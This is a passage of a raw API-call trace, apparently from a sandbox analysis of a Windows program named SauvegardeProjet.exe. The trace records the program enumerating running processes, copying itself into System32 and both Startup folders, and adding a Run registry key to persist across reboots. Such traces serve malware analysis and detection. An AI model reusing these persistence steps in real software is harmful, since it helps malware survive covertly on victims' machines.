hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.323] lstrlenW (lpString="svchost.exe") returned 11 [0111.324] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.324] lstrlenW (lpString="svchost.exe") returned 11 [0111.324] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.325] lstrlenW (lpString="svchost.exe") returned 11 [0111.325] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.326] lstrlenW (lpString="svchost.exe") returned 11 [0111.326] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.326] lstrlenW (lpString="svchost.exe") returned 11 [0111.326] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0111.327] lstrlenW (lpString="audiodg.exe") returned 11 [0111.327] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.328] lstrlenW (lpString="svchost.exe") returned 11 [0111.328] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.328] lstrlenW (lpString="svchost.exe") returned 11 [0111.328] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0111.329] lstrlenW (lpString="dwm.exe") returned 7 [0111.329] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0111.330] lstrlenW (lpString="explorer.exe") returned 12 [0111.330] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0111.330] lstrlenW (lpString="spoolsv.exe") returned 11 [0111.330] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0111.331] lstrlenW (lpString="taskhost.exe") returned 12 [0111.331] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.332] lstrlenW (lpString="svchost.exe") returned 11 [0111.332] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0111.332] lstrlenW (lpString="taskeng.exe") returned 11 [0111.332] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0111.333] lstrlenW (lpString="taskhost.exe") returned 12 [0111.333] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="fixwaves.exe")) returned 1 [0111.334] lstrlenW (lpString="fixwaves.exe") returned 12 [0111.334] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="class-file-contributors.exe")) returned 1 [0111.334] lstrlenW (lpString="class-file-contributors.exe") returned 27 [0111.334] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="soma-ending-office.exe")) returned 1 [0111.335] lstrlenW (lpString="soma-ending-office.exe") returned 22 [0111.335] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="monsaver.exe")) returned 1 [0111.336] lstrlenW (lpString="monsaver.exe") returned 12 [0111.336] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="dosesugar.exe")) returned 1 [0111.336] lstrlenW (lpString="dosesugar.exe") returned 13 [0111.336] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="plants-funded-stockings.exe")) returned 1 [0111.337] lstrlenW (lpString="plants-funded-stockings.exe") returned 27 [0111.337] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotchangelog.exe")) returned 1 [0111.338] lstrlenW (lpString="forgotchangelog.exe") returned 19 [0111.338] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="nonprofit top.exe")) returned 1 [0111.338] lstrlenW (lpString="nonprofit top.exe") returned 17 [0111.338] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="investigations_sciences.exe")) returned 1 [0111.339] lstrlenW (lpString="investigations_sciences.exe") returned 27 [0111.339] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused.exe")) returned 1 [0111.340] lstrlenW (lpString="accused.exe") returned 11 [0111.340] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="governance.exe")) returned 1 [0111.340] lstrlenW (lpString="governance.exe") returned 14 [0111.340] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="old.exe")) returned 1 [0111.341] lstrlenW (lpString="old.exe") returned 7 [0111.341] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="xi cg.exe")) returned 1 [0111.342] lstrlenW (lpString="xi cg.exe") returned 9 [0111.342] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="greatly-medicines-poll.exe")) returned 1 [0111.343] lstrlenW (lpString="greatly-medicines-poll.exe") returned 26 [0111.343] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="burlington.exe")) returned 1 [0111.344] lstrlenW (lpString="burlington.exe") returned 14 [0111.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carried-announcement-endorsed.exe")) returned 1 [0111.344] lstrlenW (lpString="carried-announcement-endorsed.exe") returned 33 [0111.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="buildings.exe")) returned 1 [0111.345] lstrlenW (lpString="buildings.exe") returned 13 [0111.345] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="predictions_took.exe")) returned 1 [0111.346] lstrlenW (lpString="predictions_took.exe") returned 20 [0111.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0111.346] lstrlenW (lpString="carry_dns.exe") returned 13 [0111.346] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0111.347] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0111.347] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.348] lstrlenW (lpString="svchost.exe") returned 11 [0111.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0111.348] lstrlenW (lpString="sppsvc.exe") returned 10 [0111.348] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0111.349] lstrlenW (lpString="svchost.exe") returned 11 [0111.349] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0111.350] lstrlenW (lpString="msiexec.exe") returned 11 [0111.350] Process32NextW (in: hSnapshot=0xe0, lppe=0x18ee90 | out: lppe=0x18ee90*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 0 [0111.350] CloseHandle (hObject=0xe0) returned 1 [0111.351] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x52b628, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe")) returned 0x3a [0111.352] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0111.352] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\SauvegardeProjet.exe", lpDst=0x53b630, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\SauvegardeProjet.exe") returned 0x29 [0111.353] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0111.353] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0111.353] Wow64DisableWow64FsRedirection (in: OldValue=0x18f0b0 | out: OldValue=0x18f0b0*=0x0) returned 1 [0111.353] lstrlenW (lpString="kernel32.dll") returned 12 [0111.353] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0111.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0111.353] CreateFileW (lpFileName="C:\\Windows\\System32\\SauvegardeProjet.exe" (normalized: "c:\\windows\\system32\\sauvegardeprojet.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0111.354] ReadFile (in: hFile=0xe0, lpBuffer=0x5e0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f0ac, lpOverlapped=0x0 | out: lpBuffer=0x5e0020*, lpNumberOfBytesRead=0x18f0ac*=0x95600, lpOverlapped=0x0) returned 1 [0111.367] WriteFile (in: hFile=0xe4, lpBuffer=0x5e0020*, nNumberOfBytesToWrite=0x95600, lpNumberOfBytesWritten=0x18f0ac, lpOverlapped=0x0 | out: lpBuffer=0x5e0020*, lpNumberOfBytesWritten=0x18f0ac*=0x95600, lpOverlapped=0x0) returned 1 [0111.382] ReadFile (in: hFile=0xe0, lpBuffer=0x5e0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f0ac, lpOverlapped=0x0 | out: lpBuffer=0x5e0020*, lpNumberOfBytesRead=0x18f0ac*=0x0, lpOverlapped=0x0) returned 1 [0111.382] CloseHandle (hObject=0xe4) returned 1 [0111.395] CloseHandle (hObject=0xe0) returned 1 [0111.395] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0111.395] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0111.395] Wow64DisableWow64FsRedirection (in: OldValue=0x18f0b0 | out: OldValue=0x18f0b0*=0x1) returned 1 [0111.395] lstrlenW (lpString="kernel32.dll") returned 12 [0111.395] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0111.401] lstrlenW (lpString="C:\\Windows\\System32\\SauvegardeProjet.exe") returned 40 [0111.401] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0111.401] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18f080 | out: phkResult=0x18f080*=0xe0) returned 0x0 [0111.401] RegSetValueExW (in: hKey=0xe0, lpValueName="SauvegardeProjet.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\SauvegardeProjet.exe", cbData=0x50 | out: lpData="C:\\Windows\\System32\\SauvegardeProjet.exe") returned 0x0 [0111.402] RegCloseKey (hKey=0xe0) returned 0x0 [0111.402] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0111.402] lstrlenW (lpString="") returned 0 [0111.402] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0111.402] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18f02c | out: phkResult=0x18f02c*=0xe0) returned 0x0 [0111.402] RegQueryValueExW (in: hKey=0xe0, lpValueName="Startup", lpReserved=0x0, lpType=0x18f038, lpData=0x54d638, lpcbData=0x18f064*=0x7fff | out: lpType=0x18f038*=0x0, lpData=0x54d638*=0x53, lpcbData=0x18f064*=0x7fff) returned 0x2 [0111.402] RegCloseKey (hKey=0xe0) returned 0x0 [0111.403] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0111.403] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18f02c | out: phkResult=0x18f02c*=0xe4) returned 0x0 [0111.403] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18f038, lpData=0x54d638, lpcbData=0x18f064*=0x7fff | out: lpType=0x18f038*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18f064*=0x98) returned 0x0 [0111.403] RegCloseKey (hKey=0xe4) returned 0x0 [0111.403] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0111.403] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0111.403] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", lpDst=0x53d630, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe") returned 0x71 [0111.404] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0111.404] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0111.404] Wow64DisableWow64FsRedirection (in: OldValue=0x18f0b0 | out: OldValue=0x18f0b0*=0x1) returned 1 [0111.404] lstrlenW (lpString="kernel32.dll") returned 12 [0111.404] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0111.404] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0111.404] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0111.405] ReadFile (in: hFile=0xe4, lpBuffer=0x5e0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f0ac, lpOverlapped=0x0 | out: lpBuffer=0x5e0020*, lpNumberOfBytesRead=0x18f0ac*=0x95600, lpOverlapped=0x0) returned 1 [0111.418] WriteFile (in: hFile=0xe8, lpBuffer=0x5e0020*, nNumberOfBytesToWrite=0x95600, lpNumberOfBytesWritten=0x18f0ac, lpOverlapped=0x0 | out: lpBuffer=0x5e0020*, lpNumberOfBytesWritten=0x18f0ac*=0x95600, lpOverlapped=0x0) returned 1 [0111.430] ReadFile (in: hFile=0xe4, lpBuffer=0x5e0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f0ac, lpOverlapped=0x0 | out: lpBuffer=0x5e0020*, lpNumberOfBytesRead=0x18f0ac*=0x0, lpOverlapped=0x0) returned 1 [0111.431] CloseHandle (hObject=0xe8) returned 1 [0111.436] CloseHandle (hObject=0xe4) returned 1 [0111.436] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0111.436] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0111.436] Wow64DisableWow64FsRedirection (in: OldValue=0x18f0b0 | out: OldValue=0x18f0b0*=0x1) returned 1 [0111.436] lstrlenW (lpString="kernel32.dll") returned 12 [0111.436] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0111.442] lstrlenW (lpString="") returned 0 [0111.442] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0111.442] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18f02c | out: phkResult=0x18f02c*=0xe4) returned 0x0 [0111.442] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18f038, lpData=0x54d638, lpcbData=0x18f064*=0x7fff | out: lpType=0x18f038*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18f064*=0x78) returned 0x0 [0111.442] RegCloseKey (hKey=0xe4) returned 0x0 [0111.442] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0111.442] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0111.442] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", lpDst=0x53d630, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe") returned 0x52 [0111.443] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0111.443] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0111.443] Wow64DisableWow64FsRedirection (in: OldValue=0x18f0b0 | out: OldValue=0x18f0b0*=0x1) returned 1 [0111.443] lstrlenW (lpString="kernel32.dll") returned 12 [0111.443] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0111.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SauvegardeProjet.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sauvegardeprojet.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0111.443] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0111.445] ReadFile (in: hFile=0xe4, lpBuffer=0x5e0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f0ac, lpOverlapped=0x0 | out: lpBuffer=0x5e0020*, lpNumberOfBytesRead=0x18f0ac*=0x95600, lpOverlapped=0x0) returned 1 [0111.459] WriteFile (in: hFile=0xe8, lpBuffer=0x5e0020*, nNumberOfBytesToWrite=0x95600, lpNumberOfBytesWritten=0x18f0ac, lpOverlapped=0x0 | out: lpBuffer=0x5e0020*, lpNumberOfBytesWritten=0x18f0ac*=0x95600, lpOverlapped=0x0) returned 1 [0111.470] ReadFile (in: hFile=0xe4, lpBuffer=0x5e0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18f0ac, lpOverlapped=0x0 | out: lpBuffer=0x5e0020*, lpNumberOfBytesRead=0x18f0ac*=0x0, lpOverlapped=0x0) returned 1 [0111.470] CloseHandle (hObject=0xe8) returned 1 [0111.475] CloseHandle (hObject=0xe4) returned 1 [0111.475] GetModuleHandleW (lpModuleName="kernel32.dll") 